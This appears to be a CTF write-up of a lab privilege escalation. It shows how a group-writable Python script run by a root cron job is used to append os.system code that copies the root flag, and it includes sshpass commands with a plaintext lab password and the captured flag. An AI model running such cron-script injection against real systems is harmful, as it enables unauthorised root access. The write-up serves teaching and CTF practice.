N
Back to writeup archive
LIGA CTF 2026 (Week 2 Boot2Root)

Routine - II

From the Routine-I foothold (tellytubby), escalate to root. A root cron runs /opt/backup.sh, which executes a tellytubby-writable Python file -> code injection as root.

Boot2RootMarkdown + PDFMediumsolved1 minread·227words
route
/TryN3rr0r/writeups/liga-ctf-2026-week-2-boot2root/routine-ii
archive index
7 / 16
read mode
parsed markdown
Writeup loaded.

Routine - II

challenge brief
target profile, scoring, and execution stack
verified solve
target
192.168.1.19
category
Boot2Root
points
655
difficulty
Medium
flag format
OWASPKL{xxx}
tools used
nmapsshsshpasspython3cron
final flag
OWASPKL{b0f8c51049b9db31552bda1bd751940a}
reveal and copy from section 5
PDF evidence frame 01

1. Challenge Overview

From the Routine-I foothold (tellytubby), escalate to root. A root cron runs /opt/backup.sh, which executes a tellytubby-writable Python file -> code injection as root.

2. Initial Reconnaissance

2.1 Enumerate cron + the writable script

bash1 lines
1sshpass -p 'V4lor4nt-Anti-cHEAT' ssh -o StrictHostKeyChecking=no tellytubby@192.168.1.19 "cat /etc/cron.d/backup; echo '---'; cat /opt/backup.sh; echo '---'; ls -la /home/tellytubby/Downloads/userbackup.py"
bash7 lines
1*/1 * * * * root /opt/backup.sh2---3#!/bin/bash4tar -czf /tmp/home_backup.tar.gz /home/ 2>/dev/null5python3 /home/tellytubby/Downloads/userbackup.py6---7-rwxrwxr-x 1 root tellytubby 525 May 30 17:16 /home/tellytubby/Downloads/userbackup.py
PDF evidence frame 02

3. Analysis / Forensics Path

3.1 Identify the privesc

Root cron runs /opt/backup.sh every minute, which runs userbackup.py. That file is group-writable by tellytubby (root:tellytubby, mode rwxrwxr-x), so injected code runs as root on the next tick.

4. Exploitation / Recovery

4.1 Inject a root payload into userbackup.py

bash1 lines
1sshpass -p 'V4lor4nt-Anti-cHEAT' ssh -o StrictHostKeyChecking=no tellytubby@192.168.1.19 "cp /home/tellytubby/Downloads/userbackup.py /home/tellytubby/Downloads/userbackup.py.bak; echo 'import os; os.system(\"cp /root/proof.txt /tmp/routine2_rootflag.txt; chmod 644 /tmp/routine2_rootflag.txt\")' >> /home/tellytubby/Downloads/userbackup.py; tail -n 1 /home/tellytubby/Downloads/userbackup.py"
bash1 lines
1import os; os.system("cp /root/proof.txt /tmp/routine2_rootflag.txt; chmod 644 /tmp/routine2_rootflag.txt")

4.2 Wait for cron, read the dropped root flag

bash1 lines
1sshpass -p 'V4lor4nt-Anti-cHEAT' ssh -o StrictHostKeyChecking=no tellytubby@192.168.1.19 'date; cat /tmp/routine2_rootflag.txt 2>/dev/null'
bash3 lines
1Sat May 30 22:19:07 +08 20262-rw-r--r-- 1 root root 42 May 30 22:19 /tmp/routine2_rootflag.txt3OWASPKL{b0f8c51049b9db31552bda1bd751940a}

> Re-validated live on 2026-05-31 via Kali (192.168.1.10): the cron-dropped /tmp/routine2_rootflag.txt (root-owned) returned the flag above.

PDF evidence frame 03

5. Flag

captured flag
OWASPKL{b0f8c51049b9db31552bda1bd751940a}

6. Summary of Approach & Key Takeaways

Logged in as tellytubby (Routine-I).

Found a root cron running /opt/backup.sh every minute.

backup.sh executes a group-writable userbackup.py.

Appended a payload to copy the root flag to /tmp.

Waited for cron and read the flag.

Writable scripts executed by root cron are a classic, reliable privesc.

Keep a .bak and restore after — minimise footprint on shared/scored boxes.

PDF evidence frame 04